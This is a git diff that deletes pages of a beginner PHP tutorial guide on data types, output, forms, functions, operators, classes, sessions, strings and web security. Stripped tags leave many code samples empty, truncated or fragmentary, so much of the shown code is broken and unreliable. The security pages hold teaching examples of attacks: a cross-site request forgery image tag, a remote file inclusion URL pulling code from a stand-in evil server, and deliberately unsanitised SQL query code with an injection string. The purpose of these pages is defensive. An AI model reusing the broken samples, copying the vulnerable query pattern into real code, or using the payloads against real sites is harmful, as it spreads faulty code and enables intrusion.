String ("Hello") -* Integer (5) -* Float (also called double) (1.0) -* Boolean ( 1 or 0 ) -* Array ( array("I", "am", "an", "array") ) -* Object -* NULL -* Resource - -### PHP String - -A string is a sequence of characters. It can be any text inside quotes (single or double): - -#### Example -```php -$x = "Hello!"; -$y = 'Hello!'; -``` - -### PHP Integer - -An integer data type is a non-decimal number between -2,147,483,648 and 2,147,483,647. - -Rules for integers: - -* An integer must have at least one digit -* An integer must not have a decimal point -* An integer can be either positive or negative -* Integers can be specified in three formats: decimal (10-based), hexadecimal (16-based - prefixed with 0x) or octal (8-based - prefixed with 0) - -#### Example -`$x = 5;` - - -### PHP Float - -A float (floating point number) is a number with a decimal point or a number in exponential form. - -#### Example -`$x = 5.01;` - -### PHP Boolean - -A Boolean represents two possible states: TRUE or FALSE. Booleans are often used in conditional testing. - -```php -$x = true; -$y = false; -``` - -### PHP Array - -An array stores multiple values in one single variable. - -`$colours = array("Blue","Purple","Pink");` - - -### PHP NULL Value - -Null is a special data type which can have only one value: NULL. -A variable of data type NULL is a variable that has no value assigned to it. -Variables can also be emptied by setting the value to NULL. - -**Note:** If a variable is created without a value, it is automatically assigned a value of NULL. - -```php - -``` - -Output: -NULL - - -### PHP Object - -An object is a data type which stores data and information on how to process that data. -In PHP, an object must be explicitly declared. -First we must declare a class of object. A class is a structure that can contain properties and methods. - -**Example:** -```php -model = "VW"; - } -} - -// create an object -$herbie = new Car(); - -// show object properties -echo $herbie->model; -?> -``` diff --git a/mock-guide/english/php/php-echo-print/index.md b/mock-guide/english/php/php-echo-print/index.md deleted file mode 100644 index 62ceff6d21..0000000000 --- a/mock-guide/english/php/php-echo-print/index.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: PHP 5 echo and print Statements ---- - -In PHP there are two basic ways to get output: echo and print. - -In this tutorial we use echo (and print) in almost every example. So, this chapter contains a little more info about those two output statements. - -### PHP echo and print Statements - -echo and print are more or less the same. They are both used to output data to the screen. - -The differences are small: echo has no return value while print has a return value of 1 so it can be used in expressions. echo can take multiple parameters (although such usage is rare) while print can take one argument. echo is marginally faster than print. - -### The PHP echo Statement - -The echo statement can be used with or without parentheses: echo or echo(). - -#### Display Text - -The following example shows how to output text with the echo command (notice that the text can contain HTML markup): - -#### Example -```php -PHP is Fun!"; -echo "Hello world!
"; -echo "I'm about to learn PHP!
"; -echo "This ", "string ", "was ", "made ", "with multiple parameters."; -?> -``` - -#### Display Variables - -The following example shows how to output text and variables with the echo statement: - -#### Example -```php -" . $txt1 . ""; -echo "Study PHP at " . $txt2 . "
"; -echo $x + $y; -?> -``` - -### The PHP print Statement - -The print statement can be used with or without parentheses: print or print(). - -#### Display Text - -The following example shows how to output text with the print command (notice that the text can contain HTML markup): - -#### Example -```php -PHP is Fun!"; -print "Hello world!
"; -print "I'm about to learn PHP!"; -?> -``` - -#### Display Variables - -The following example shows how to output text and variables with the print statement: - -#### Example -```php -" . $txt1 . ""; -print "Study PHP at " . $txt2 . "
"; -print $x + $y; -?> -``` diff --git a/mock-guide/english/php/php-expressions/index.md b/mock-guide/english/php/php-expressions/index.md deleted file mode 100644 index d3e032b3a4..0000000000 --- a/mock-guide/english/php/php-expressions/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: PHP Expressions ---- -## PHP Expressions - -This is a stub. Help our community expand it. - -This quick style guide will help ensure your pull request gets accepted. - - - -#### More Information: - diff --git a/mock-guide/english/php/php-form-handling/index.md b/mock-guide/english/php/php-form-handling/index.md deleted file mode 100644 index a409c6db5b..0000000000 --- a/mock-guide/english/php/php-form-handling/index.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: PHP 5 Form Handling ---- - -The PHP superglobals $_GET and $_POST are used to collect form-data. - -### PHP - A Simple HTML Form - -The example below displays a simple HTML form with two input fields and a submit button: - -#### Example -```php - - - - - - - -``` - -When the user fills out the form above and clicks the submit button, the form data is sent for processing to a PHP file named "welcome.php". The form data is sent with the HTTP POST method. - -To display the submitted data you could simply echo all the variables. The "welcome.php" looks like this: - -```php - - - -Welcome
-Your email address is: - - - -``` - -The output could be something like this: - -``` -Welcome John -Your email address is john.doe@example.com -``` - -The same result could also be achieved using the HTTP GET method: - -#### Example -```php - - - - - - - -``` - -and "welcome_get.php" looks like this: - -```php - - - -Welcome
-Your email address is: - - - -``` - -The code above is quite simple. However, the most important thing is missing. You need to validate form data to protect your script from malicious code. - -> **Think SECURITY when processing PHP forms!** -> -> This page does not contain any form validation, it just shows how you can send and retrieve form data. -> -> However, the next pages will show how to process PHP forms with security in mind! Proper validation of form data is important to > protect your form from hackers and spammers! - -### GET vs. POST - -Both GET and POST create an array (e.g. array( key => value, key2 => value2, key3 => value3, ...)). This array holds key/value pairs, where keys are the names of the form controls and values are the input data from the user. - -Both GET and POST are treated as $_GET and $_POST. These are superglobals, which means that they are always accessible, regardless of scope - and you can access them from any function, class or file without having to do anything special. - -$_GET is an array of variables passed to the current script via the URL parameters. - -$_POST is an array of variables passed to the current script via the HTTP POST method. - -### When to use GET? - -Information sent from a form with the GET method is visible to everyone (all variable names and values are displayed in the URL). GET also has limits on the amount of information to send. The limitation is about 2000 characters. However, because the variables are displayed in the URL, it is possible to bookmark the page. This can be useful in some cases. - -GET may be used for sending non-sensitive data. - -**Note:** GET should NEVER be used for sending passwords or other sensitive information! - -### When to use POST? - -Information sent from a form with the POST method is **invisible to others** (all names/values are embedded within the body of the HTTP request) and has **no limits** on the amount of information to send. - -Moreover POST supports advanced functionality such as support for multi-part binary input while uploading files to server. - -However, because the variables are not displayed in the URL, it is not possible to bookmark the page. - -> **Developers prefer POST for sending form data.** diff --git a/mock-guide/english/php/php-form-required/index.md b/mock-guide/english/php/php-form-required/index.md deleted file mode 100644 index 63a6baa461..0000000000 --- a/mock-guide/english/php/php-form-required/index.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: PHP 5 Forms - Required Fields ---- - -This chapter shows how to make input fields required and create error messages if needed. - -### PHP - Required Fields - -From the validation rules table on the previous page, we see that the "Name", "E-mail", and "Gender" fields are required. These fields cannot be empty and must be filled out in the HTML form. - -|Field |Validation Rules| -|---|---| -|Name |Required. + Must only contain letters and whitespace| -|E-mail |Required. + Must contain a valid email address (with @ and .)| -|Website |Optional. If present, it must contain a valid URL| -|Comment |Optional. Multi-line input field (textarea)| -|Gender |Required. Must select one| - -In the previous chapter, all input fields were optional. - -In the following code we have added some new variables: $nameErr, $emailErr, $genderErr, and $websiteErr. These error variables will hold error messages for the required fields. We have also added an if else statement for each $_POST variable. This checks if the $_POST variable is empty (with the PHP empty() function). If it is empty, an error message is stored in the different error variables, and if it is not empty, it sends the user input data through the test_input() function: - -```php - -``` - -### PHP - Display The Error Messages - -Then in the HTML form, we add a little script after each required field, which generates the correct error message if needed (that is if the user tries to submit the form without filling out the required fields): - -#### Example -```php - -``` - -The next step is to validate the input data, that is "Does the Name field contain only letters and whitespace?", and "Does the E-mail field contain a valid e-mail address syntax?", and if filled out, "Does the Website field contain a valid URL?". diff --git a/mock-guide/english/php/php-forms-url-email/index.md b/mock-guide/english/php/php-forms-url-email/index.md deleted file mode 100644 index 0d3016a3a8..0000000000 --- a/mock-guide/english/php/php-forms-url-email/index.md +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: PHP 5 Forms - Validate E-mail and URL ---- - -This chapter shows how to validate names, e-mails, and URLs. - -### PHP - Validate Name - -The code below shows a simple way to check if the name field only contains letters and whitespace. If the value of the name field is not valid, then store an error message: - -```php -$name = test_input($_POST["name"]); -if (!preg_match("/^[a-zA-Z ]*$/",$name)) { - $nameErr = "Only letters and white space allowed"; -} -``` -> **The preg_match() function searches a string for pattern, returning true if the pattern exists, and false otherwise.** - -### PHP - Validate E-mail - -The easiest and safest way to check whether an email address is well-formed is to use PHP's filter_var() function. - -In the code below, if the e-mail address is not well-formed, then store an error message: - -```php -$email = test_input($_POST["email"]); -if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { - $emailErr = "Invalid email format"; -} -``` - -### PHP - Validate URL - -The code below shows a way to check if a URL address syntax is valid (this regular expression also allows dashes in the URL). If the URL address syntax is not valid, then store an error message: - -```php -$website = test_input($_POST["website"]); -if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { - $websiteErr = "Invalid URL"; -} -``` - -### PHP - Validate Name, E-mail, and URL - -Now, the script looks like this: - -#### Example -```php - -``` diff --git a/mock-guide/english/php/php-functions/index.md b/mock-guide/english/php/php-functions/index.md deleted file mode 100644 index 449d806d3b..0000000000 --- a/mock-guide/english/php/php-functions/index.md +++ /dev/null @@ -1,225 +0,0 @@ ---- -title: PHP functions ---- - -PHP functions are similar to other programming languages. A function is a piece of code which takes one more input in the form of parameter and does some processing and returns a value. - -You already have seen many functions like fopen() and fread() etc. They are built-in functions but PHP gives you option to create your own functions as well. - -There are two parts which should be clear to you − - -### Creating a PHP Function -Calling a PHP Function -In fact you hardly need to create your own PHP function because there are already more than 1000 of built-in library functions created for different area and you just need to call them according to your requirement. - -Please refer to PHP Function Reference for a complete set of useful functions. - -Creating PHP Function -Its very easy to create your own PHP function. Suppose you want to create a PHP function which will simply write a simple message on your browser when you will call it. Following example creates a function called writeMessage() and then calls it just after creating it. - -Note that while creating a function its name should start with keyword function and all the PHP code should be put inside { and } braces as shown in the following example below − - -``` - - - -
"; - ?> - - - -``` - -This will display following result − - -``` -Original Value is 10 -Original Value is 16 -``` - -### PHP Functions returning value -A function can return a value using the return statement in conjunction with a value or object. return stops the execution of the function and sends the value back to the calling code. - -You can return more than one value from a function using return array(1,2,3,4). - -Following example takes two integer parameters and add them together and then returns their sum to the calling program. Note that return keyword is used to return a value from a function. - -``` - - - -
Operators are used to perform operations on variables and values.
-PHP divides the operators in the following groups:
--
-
- Arithmetic operators -
- Assignment operators -
- Comparison operators -
- Increment/Decrement operators -
- Logical operators -
- String operators -
- Array operators -
PHP Arithmetic Operators
-The PHP arithmetic operators are used with numeric values to perform common arithmetical operations, such as addition, subtraction, multiplication etc.
-| Operator | -Name | -Example | -Result | -
|---|---|---|---|
| + | -Addition | -$a + $b | -Sum of $a and $b | -
| - | -Subtraction | -$a - $b | -Difference of $a and $b | -
| * | -Multiplication | -$a * $b | -Product of $a and $b | -
| / | -Division | -$a / $b | -Quotient of $a and $b | -
| % | -Modulus | -$a % $b | -Remainder of $a divided by $b | -
| ** | -Exponentiation | -$a ** $b | -Result of raising $a to the $b'th power | -
"); - ?> - - - -``` - -This will produce the following result − - -``` -Variable capital is 67 -Variable CaPiTaL is -``` - -### Statements are expressions terminated by semicolons -A statement in PHP is any expression that is followed by a semicolon (;).Any sequence of valid PHP statements that is enclosed by the PHP tags is a valid PHP program. Here is a typical statement in PHP, which in this case assigns a string of characters to a variable called $greeting − - -``` -$greeting = "Welcome to PHP!"; -``` - -### Expressions are combinations of tokens -The smallest building blocks of PHP are the indivisible tokens, such as numbers (3.14159), strings (.two.), variables ($two), constants (TRUE), and the special words that make up the syntax of PHP itself like if, else, while, for and so forth - -### Braces make blocks -Although statements cannot be combined like expressions, you can always put a sequence of statements anywhere a statement can go by enclosing them in a set of curly braces. - -Here both statements are equivalent − - -``` -if (3 == 2 + 1) - print("Good - I haven't totally lost my mind.
"); - -if (3 == 2 + 1) { - print("Good - I haven't totally"); - print("lost my mind.
"); -} -``` - -### Running PHP Script from Command Prompt -Yes you can run your PHP script on your command prompt. Assuming you have following content in test.php file - -``` - -``` - -Now run this script as command prompt as follows − - -``` -$ php test.php -``` - -It will produce the following result − - -``` -Hello PHP!!!!! -``` - -Hope now you have basic knowledge of PHP Syntax. diff --git a/mock-guide/english/php/php-syntax/index.md b/mock-guide/english/php/php-syntax/index.md deleted file mode 100644 index 3c5e3ab20b..0000000000 --- a/mock-guide/english/php/php-syntax/index.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: PHP Syntax ---- - -# Basic PHP Syntax - -### Start -All PHP files are saved by the extension ` .php `. PHP scripts can be added anywhere in the document. A PHP script starts with ` `. - -` ` - -### Print -To print any statement in PHP we use `echo` command. - -#### Code sample -```php - - - - -
My first PHP page
- - - - - -``` -##### NOTE: PHP statements ends with semicolon `;` - -### Declaring Variables -We declare variables in PHP by adding dollar `$` sign before them. -```php - -``` - -### Comments in PHP -To write a single line comment in PHP we put hashtag `#` or by putting `//` before the comment. - -```php - -``` - -To write a multiple line comment we start the comment with `/*` and end with `*/`. -```php - -``` -We can also comment out some parts of the code line. - -#### Code Sample -```php - - - - - - - - -``` - -You can see more about this on [PHP Manual](http://php.net/manual/en/) diff --git a/mock-guide/english/php/php-tags/index.md b/mock-guide/english/php/php-tags/index.md deleted file mode 100644 index 0a46ebf12f..0000000000 --- a/mock-guide/english/php/php-tags/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: PHP tags ---- - -When PHP parses a file, it looks for opening and closing tags, which are `` which tell PHP to start and stop interpreting the code between them. Parsing in this manner allows PHP to be embedded in all sorts of different documents, as everything outside of a pair of opening and closing tags is ignored by the PHP parser. - -PHP also allows for short open tag `name = $name; - $this->age = $age; - $this->height = $height; - } - - public function giveFirmHandshakes() - { - return "I give firm handshakes."; - } - - public function beStubborn() - { - return "I am stubborn."; - } - - public function notPutToiletPaper() - { - return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; - } -} -``` - -We need to specify name, age and height to instantiate this class as required by the constructor. - -```php -name, $jack->age, $jack->height); -// => Jack - 26 - 5 Feet 6 Inches -``` - -Now, let’s say we want to add a new method to this class called isActive. - -This method checks the property active and returns appropriate message depending on the value of active with default value of false. We can set it to true for those men that are active. - -```php -active == true) { - return "I am an active man."; - } else { - return "I am an idle man."; - } - } -} - -$jack = new Man('Jack', '26', '5 Feet 6 Inches'); -$jack->active = true; -echo $jack->isActive(); -// => I am an active man. - -$jake = new Man('Jake', '30', '6 Feet'); -echo "\n" . $jake->isActive(); -// => I am an idle man. -``` - -What if a man is not JUST active or idle? - -What if there is a scale of 1 to 4 that measures how active a man is -(1 – idle, 2 – lightly active, 3- moderately active, 4- very active)? - -We can have an if..elseif..else statements like this: - -```php -active == 1) { - return "I am an idle man."; - } elseif ($this->active == 2) { - return "I am a lightly active man."; - } elseif ($this->active == 3) { - return "I am a moderately active man."; - } else { - return "I am a very active man."; - } -} -``` - -Now, let’s take this a step further. - -What if Man’s active property is not just an integer (1, 2, 3, 4, etc)? - -What if the value of active is “athletic” or “lazy”? - -Don’t we have to add more elseif statements looking for a match with those strings? - -Abstract classes can be used for such scenario. - -With abstract classes, you basically define the class as abstract and the methods you want to enforce as abstract without actually putting any code inside those methods. - -Then you create a child class extending the parent abstract class and implement the abstract methods in that child class. - -This way, you will be enforcing all the child classes to define their own version of abstract methods. Let’s see how we can set our `isActive()` method as abstract. - -#1: Define the class as abstract. - -```php -isActive(); -// => I am a very active athlete. -``` - -Complete abstract class definition and implementation code: - -```php -name = $name; - $this->age = $age; - $this->height = $height; - } - - public function giveFirmHandshakes() - { - return "I give firm handshakes."; - } - - public function beStubborn() - { - return "I am stubborn."; - } - - public function notPutToiletPaper() - { - return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; - } - - abstract public function isActive(); -} - -class AthleticMan extends Man -{ - public function isActive() - { - return "I am a very active athlete."; - } -} - -$jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); -echo $jack->isActive(); -// => I am a very active athlete. -``` - -In this code, you will notice that `isActive()` abstract method is defined inside `Man` abstract class and it is implemented inside child class `AthleticMan`. - -Now `Man` class cannot be instantiated directly to create an object. - -```php -isActive(); -// => Fatal error: Uncaught Error: Cannot instantiate abstract class Man -``` - -Also, every child class of the abstract class (`Man` class) needs to implement all the abstract methods. Lack of such implementation will result in a fatal error. - -```php -isActive(); -// => Fatal error: Class LazyMan contains 1 abstract method -// => and must therefore be declared abstract or implement -// => the remaining methods (Man::isActive) -``` - -By using abstract classes, you can enforce certain methods to be implemented individually by the child classes. - -### Interface - -There is another Object Oriented Programming concept that is closely related to Abstract Classes called Interface. - -The only difference between Abstract Classes and Interfaces is that in Abstract Classes, you can have a mix of defined methods (`giveFirmHandshakes()`, `isStubborn()`, etc.) and abstract methods (`isActive()`) inside the parent class whereas in Interfaces, you can only define (not implement) methods inside the parent class. - -Let’s see how we can convert Man abstract class above to an interface. - -#1: Define the interface with all the methods (use interface instead of class). - -```php -name = $name; - $this->age = $age; - $this->height = $height; - } - - public function giveFirmHandshakes() - { - return "I give firm handshakes."; - } - - public function beStubborn() - { - return "I am stubborn."; - } - - public function notPutToiletPaper() - { - return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; - } - - public function isActive() - { - return "I am a very active athlete."; - } -} -``` - - -#3: Instantiate the implementing class (AthleticMan) - -```php -isActive(); -// => I am a very active athlete. -``` - -With interfaces, you need to keep in mind that: - -- The methods cannot be implemented inside the interface. - -- Variables (properties) cannot be defined inside the interface. - -- All the methods defined inside the interface need to be implemented in the child (implementing) class. - -- All the necessary variables need to be defined inside the child class. - -- Man interface enforces its implementing classes to implement all the methods in the interface. - -So, what is the use of interfaces? - -Can’t we just create a new class AthleticMan and create all the methods instead of implementing the interface? - -This is where *Design Patterns* come into play. - -Interfaces are used when there is a base class (`Man`) that wants to enforce you to do things (construct an object, giveFirmHandshakes, beStubborn, notPutToiletPaper and check if you are active) but doesn’t want to tell you exactly how to do it. - -You can just go ahead and create implementing classes with implementations as you deem fit. - -As long as all the methods are implemented, `Man` interface doesn’t care how. - -We have gone over how and when to use abstract classes and interfaces in PHP. Using these OOP concepts to have classes with different functionality sharing the same base “blueprint” (abstract class or interface) is called Polymorphism. diff --git a/mock-guide/english/php/pp-sessions/index.md b/mock-guide/english/php/pp-sessions/index.md deleted file mode 100644 index d4f39107f2..0000000000 --- a/mock-guide/english/php/pp-sessions/index.md +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: PHP Sessions ---- - -# PHP Sessions - -A session is a way to store information (in variables) to be used across multiple pages. -Unlike a cookie, the information is not stored on the user's computer. - -## What is a PHP Session? - -When you work with an application, you open it, do some changes, and then you close it. This is much like a Session. -The computer knows who you are. It knows when you start the application and when you end. -But on the internet there is one problem: the web server does not know who you are or what you do, because the HTTP address _doesn't maintain state_. - -Session variables solve this problem by storing user information to be used across multiple pages (e.g. username, favorite color, etc). -By default, session variables last until the user closes the browser. - -**Session variables hold information about one single user, and are available to all pages in one application.** - -**Note:** If you need a permanent storage, you may want to store the data in a database. - - -## Start a PHP Session - -A session is started with the _session_start()_ function. -Session variables are set with the PHP global variable: $_SESSION. - -**Example:** -``` - - - - - - - - - -``` - -**Note:** The session_start() function must be the **very first thing** in your document. **Before** any HTML tags. - -Output: -Session variables are set. - - -## Get PHP Session Variable Values - -Note that session variables are not passed individually to each new page, instead they are retrieved from the session we open at the beginning of each page (session_start()). - -Also note that all session variable values are stored in the global $_SESSION variable: - -**Example:** -``` - - - - - -"; -echo "Favorite animal is " . $_SESSION["favanimal"] . "."; -?> - - - -``` - -Output: -Favorite color is blue. -Favorite animal is dog. - -Another way to show all the session variable values for a user session is to run the following code: - -``` - -``` - -### How does it work? - -Most sessions set a user-key on the user's computer that looks something like this: 765487cf34ert8dede5a562e4f3a7e12. -Then, when a session is opened on another page, it scans the computer for a user-key. -If there is a match, it accesses that session, if not, it starts a new session. - - -## Modify a Session Variable - -To change a session variable, just overwrite it: - -**Example:** -``` - - - - - - - - - -``` - - -## Destroy a PHP Session - -To remove all global session variables and destroy the session, use _session_unset()_ and _session_destroy()_: - -**Example:** -``` - - - - - - - - - -``` diff --git a/mock-guide/english/php/security/cross-site-request-forgery/index.md b/mock-guide/english/php/security/cross-site-request-forgery/index.md deleted file mode 100644 index 5e8c608478..0000000000 --- a/mock-guide/english/php/security/cross-site-request-forgery/index.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Cross Site Request Forgery ---- -## Cross Site Request Forgery - -Cross Site Request Forgery is a vulnerability in the application caused by the programmer not checking where a request was sent from - this attack is sent to a high privilege level user to gain higher level access to the application. - -### Example Cross Site Request Forgery Attack -An online blog allows users to submit comments and include an image in the comment, the blog's admin panel allows the blog's author to delete a comment by loading the URL `/admin/deletecomment.php?id=123`. A malicious user could make an image tag that loads the delete comment url for example `
diff --git a/mock-guide/english/php/security/remote-file-inclusion/index.md b/mock-guide/english/php/security/remote-file-inclusion/index.md
deleted file mode 100644
index c2599cf257..0000000000
--- a/mock-guide/english/php/security/remote-file-inclusion/index.md
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: Remote File Inclusion
----
-## Remote File Inclusion
-
-A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being pulled from a remote server and included where it should not of been.
-
-### Example remote file inclusion attacks
-A website allows you to view PDFs as `download.php?file=myfile.php`, due to a lack of proper checking a malicious user is able to request a remote resource and include in the script. The URL could become `download.php?file=http://myevilserver.gtld/evilcode.php` this could then be outputted to the user or in severe cases run the actual PHP code on your server.
-
-### Defending your website from remote file inclusion attacks in PHP
-The following PHP code will provide strong protection against a remote file inclusion attacks
-```PHP
-OWASP Wiki - Testing for Remote File Inclusion
diff --git a/mock-guide/english/php/security/session-hijacking/index.md b/mock-guide/english/php/security/session-hijacking/index.md
deleted file mode 100644
index aa2982ba0c..0000000000
--- a/mock-guide/english/php/security/session-hijacking/index.md
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: Session Hijacking
----
-## Session Hijacking
-
-Session Hijacking is a vulnerability caused by an attacker gaining access to a user's session identifier and being able to use another user's account impersonating them. This is often used to gain access to an administrative user's account.
-
-### Defending against Session Hijacking attacks in PHP
-To defend against Session Hijacking attacks you need to check the current user's browser and location information against information stored about the session. Below is an example implementation that can help mitigate the effects of a session hijacking attack. It checks the IP Address, User Agent, and if the Session Expired removing a session before it's resumed.
-```PHP
- ($_SESSION['lastaccess'] + 3600))
-{
- session_unset();
- session_destroy();
-}
-else
-{
- $_SESSION['lastaccess'] = time();
-}
-```
-
-#### More Information:
-* php.net session security manual
diff --git a/mock-guide/english/php/security/session-identifier-acquirement/index.md b/mock-guide/english/php/security/session-identifier-acquirement/index.md
deleted file mode 100644
index 556b8d5a31..0000000000
--- a/mock-guide/english/php/security/session-identifier-acquirement/index.md
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: Session Identifier Acquirement
----
-## Session Identifier Acquirement
-
-Session Identifier Acquirement is a vulnerability caused by an attacker being able to either guess the session identifier of a user or exploit vulnerabilities in the application itself or the user's browser to obtain a session identifier. This attack is a prerequisite to performing a session hijacking attack.
-
-### Example
-An attacker has a few options to perform a session identifier acquirement attack.
-* Guessing the Identifier: A short and guessable session identifier could allow an attacker to brute-force the ID of a session and get in.
-* Attacking the Browser: In the event you store your session identifier in the browser's cookies - if your website is vulnerable to cross site scripting an attacker could use the vulnerability to collect session identifier cookies and access high privilege level areas (for example an admin panel).
-* Changing the ID to the attacker's choice: In older versions of PHP you were able to set the ID of a session in the URL. It's disabled by default now, if in doubt make sure `session.use_trans_sid` is false. This is not a common issue anymore, however it can still happen, better safe than sorry.
-
-
-### Defending against Session Identifier Acquirement attacks in PHP
-To defend against Session Identifier Acquirement attacks you need to check the attempted session access against several factors to confirm whether it's a legitimate access and to avoid the user from successfully hijacking the user's session. Below is an example implementation that can help mitigate the effects of a session identifier acquirement attack. It checks the IP Address, User Agent, and if the Session Expired removing a session before it's acquired.
-```PHP
- ($_SESSION['lastaccess'] + 3600))
-{
- session_unset();
- session_destroy();
-}
-else
-{
- $_SESSION['lastaccess'] = time();
-}
-```
-
-**Tips:**
-* Store lots of information about the current session (User Agent String, IP Address, Last Access Time, etc)
-* Check every request against information stored about the session (Does it match? If not delete the session and require the user to login again )
-* Sessions shouldn't last forever - they should expire at a certain point to maintain session security.
-* Rate limit the amount of sessions a user can try to access (did a user try to access 1000+ invalid sessions? Chances are they are guessing - prevent the IP address from trying any more sessions for a few hours).
-
-
-#### More Information:
-* php.net session security manual
diff --git a/mock-guide/english/php/security/sql-injection/index.md b/mock-guide/english/php/security/sql-injection/index.md
deleted file mode 100644
index c61a1dae2c..0000000000
--- a/mock-guide/english/php/security/sql-injection/index.md
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: SQL Injection
----
-## SQL Injection
-
-A vulnerability in the application caused by the programmer not sanitizing input before including it into a query into the database. This leads to the attacker having full read and more often than not write access to the database. With this type of access an attacker can do very bad things.
-
-### Example SQL Injection attack
-The below PHP Script runs an SQL Statement to get a user's email by ID. However the input is not sanitized making it vulnerable to SQL Injection
-```PHP
-connect_error) {
- die("Connection failed: " . $conn->connect_error);
-}
-
-$sql = "SELECT email FROM users WHERE id =" . $input;
-
-$result = $conn->query($sql);
-
-if ($result->num_rows > 0) {
- while($row = $result->fetch_assoc()) {
- echo $row["email"];
- }
-} else {
- echo "no results";
-}
-
-$conn->close();
-```
-```SQL
-SELECT email FROM users WHERE id = `$input`;
-```
-
-So with the above the input is not type casted (I.e. casting the input with `(int)` so only a number is allowed) nor escaped allowing someone to perform an SQL Injection attack - for example the URL `getemailbyuserid.php?id=1; My Query Here--` would allow you to run arbitrary SQL queries with little effort.
-
-As the SQL code is a string which can be controlled by an attacker, the `id` variable in the example above effectively becomes `1; My Query Here--`. The `$sql` string thus becomes `SELECT email FROM users WHERE id =1; My Query Here--`. You can see that arbitrary queries can be appended to the original query. The double-dash `--` comments out any trailing characters which can cause an issue with the payload, like closing quotes if available.
-
-### Defending your website from sql injection attacks in PHP
-There are a few approaches to defend your website from SQL Injection Attacks. These approaches are Whitelisting, Type Casting, and Character Escaping
-
-**Whitelisting:**
-The whitelisting approach is used in cases where only a few inputs are expected. You can list each expected input in a PHP Switch and then have a default for invalid input. You do not have to worry about a type casting issue or a character escape bypass but the allowed input is extreamly limited. It remains an option, see the example below.
-```PHP
-OWASP Wiki - SQL Injection
-* php.net SQL Injection manual
-* php.net MySQLi Real Escape String manual
diff --git a/mock-guide/english/php/sessions/index.md b/mock-guide/english/php/sessions/index.md
deleted file mode 100644
index dcf0534b64..0000000000
--- a/mock-guide/english/php/sessions/index.md
+++ /dev/null
@@ -1,84 +0,0 @@
----
-title: Sessions
----
-## Sessions
-
-Sessions are a feature in PHP that allow you to store data server side about a user. When a session is setup, a browser cookie is set which identifies the user to PHP so the PHP knows which server side variables to access.
-
-### Starting A Session
-On every page you want to access the session you will need to start (or load) the session. To do so run the `session_start()` function which loads the PHP Session System.
-```PHP
-= $expireAfterSeconds){
- //User has been inactive for too long.
- //Kill their session.
- session_unset();
- session_destroy();
- }
-
-}
-
-//Assign the current timestamp as the user's
-//latest activity
-$_SESSION['last_action'] = time();
-```
-
-### Sessions Are Temporary
-It is important to not treat a session as permanent storage. They get cleared from time to time by the developer, whenever the application is moved to a new host server, by the application itself (for example a logout button), and even during server maintenance. For long term storage of data make sure to use a database.
-
-### Security
-Last but not least it's important to use php sessions securely. Read our article on [Session Identifier Acquirement](/php/security/session-identifier-acquirement) and [Session Hijacking](/php/security/session-hijacking) for more information.
-
-#### More Information:
-* php.net session manual
diff --git a/mock-guide/english/php/strings/index.md b/mock-guide/english/php/strings/index.md
deleted file mode 100644
index 714d1fe8f7..0000000000
--- a/mock-guide/english/php/strings/index.md
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: Strings
----
-## Strings
-
-A string is series of characters. These can be used to store any textual information in your application.
-
-There are a number of different ways to create strings in PHP.
-
-### Single Quotes
-
-Simple strings can be created using single quotes.
-```PHP
-$name = 'Joe';
-```
-
-To include a single quote in the string, use a backslash to escape it.
-
-```PHP
-$last_name = 'O\'Brian';
-```
-
-### Double Quotes
-
-You can also create strings using double quotes.
-```PHP
-$name = "Joe";
-```
-
-To include a double quote, use a backslash to escape it.
-
-```PHP
-$quote = "Mary said, \"I want some toast,\" and then ran away.";
-```
-
-Double quoted strings also allow escape sequences. These are special codes that put characters in your string that represent typically invisible characters. Examples include newlines `\n`, tabs `\t`, and actual backslashes `\\`.
-
-You can also embed PHP variables in double quoted strings to have their values added to the string.
-```PHP
-$name = 'Joe';
-$greeting = "Hello $name"; // now contains the string "Hello Joe"
-```
-
-## PHP String Functions
-In this chapter we will look at some commonly used functions to manipulate strings.
-
-## Get The Length of a String
-The PHP strlen() function returns the length of a string.
-The example below returns the length of the string "Hello world!":
-````
-
-````
-A string is series of characters.
-PHP only supports a 256-character set and hence does not offer native Unicode support.
-
-## Count The Number of Words in a String
-The PHP str_word_count() function counts the number of words in a string:
-````
-
-````
-
-## Reverse a String
-The PHP strrev() function reverses a string:
-````
-
-````
-
-## Search For a Specific Text Within a String
-The PHP strpos() function searches for a specific text within a string.
-If a match is found, the function returns the character position of the first match. If no match is found, it will return FALSE.
-The example below searches for the text "world" in the string "Hello world!":
-````
-
-````
-
-## Replace Text Within a String
-````
-
-````
-
-#### More Information:
-
-[PHP: Strings](http://php.net/manual/en/language.types.string.php)
-[PHP String tutorial](https://www.w3schools.com/php/php_string.asp)
diff --git a/mock-guide/english/php/substring/index.md b/mock-guide/english/php/substring/index.md
deleted file mode 100644
index a0d1a0abc7..0000000000
--- a/mock-guide/english/php/substring/index.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: subtring
----
-
-## Substring Function in PHP
-
-The Substring function in PHP returns a portion of the string, specified by two parameters, the start and the length.
-
-
-## Syntax
-
-The substring function is used like any other function in php, and uses the subtr() syntax.
-
-
-```
-Help our community expand it.
-
-This quick style guide will help ensure your pull request gets accepted.
-
-
-
-## List of Super Globals and what are they
-Super globals are variables defined in the core of PHP, and they are available in all scopes throughout the script. This means that you do not need to define them as **global $variable** .
-
-These superglobal variables are:
-
-$GLOBALS
-$_SERVER
-$_GET
-$_POST
